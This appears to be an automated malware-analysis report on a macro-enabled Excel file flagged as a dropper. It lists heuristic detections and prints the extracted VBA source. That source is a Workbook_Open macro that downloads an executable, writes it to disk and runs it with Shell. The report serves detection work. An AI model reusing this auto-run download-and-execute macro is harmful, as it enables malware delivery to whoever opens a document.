MALICIOUS
250
Risk Score
Heuristics 6
-
ClamAV: Doc.Dropper.Agent-6412232-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Dropper.Agent-6412232-1
-
VBA project inside OOXML medium 3 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
Potential Shell call in VBA critical OLE_VBA_SHELLPotential Shell call in VBAMatched line in script
Shell ("C:\myfile.exe") -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Set WHTTP = CreateObject("WinHTTP.WinHTTPrequest.5.1") -
Workbook_Open macro low OLE_VBA_WBOPENWorkbook_Open macroMatched line in script
Sub Workbook_Open() -
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://localhost In document text (OOXML body / shared strings)
- http://localhost/aasssx.exeIn document text (OOXML body / shared strings)
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 1531 bytes |
SHA-256: 1c73008f71a029b1d2bbc171a6420eca2871526582c0a4beda48129372ba225f |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "Module1"
Sub Workbook_Open()
Dim FileNum As Long
Dim FileData() As Byte
Dim WHTTP As Object
mainUrl = "http://localhost"
fileUrl = "http://localhost/aasssx.exe"
filePath = "C:\myfile.exe"
myuser = "xxxxxx"
mypass = "xxxxxx"
j_security_check = "j_username=" & myuser & "j_password=" & mypass
Set WHTTP = CreateObject("WinHTTP.WinHTTPrequest.5.1")
WHTTP.Open "POST", mainUrl, False 'WHTTP.Open "POST", fileUrl, False
WHTTP.setRequestHeader "Content-Type", "application/x-www-form-urlencoded"
WHTTP.send j_security_check
WHTTP.Open "GET", fileUrl, False
WHTTP.send
Debug.Print WHTTP.getAllResponseHeaders()
FileData = WHTTP.responseBody
Set WHTTP = Nothing
FileNum = FreeFile
Open filePath For Binary Access Write As #FileNum
Put #FileNum, 1, FileData
Close #FileNum
Shell ("C:\myfile.exe")
MsgBox "File has been saved!", vbInformation, "Success"
End Sub
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: xl/vbaProject.bin | 18944 bytes |
SHA-256: e46c4b3577acb997f9f4fd7843dcddfdfafe54b70b55fd83661a44419ddf0df3 |
|||
|
Detection
ClamAV:
Doc.Dropper.Agent-6412232-1
Obfuscation or payload:
unlikely
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.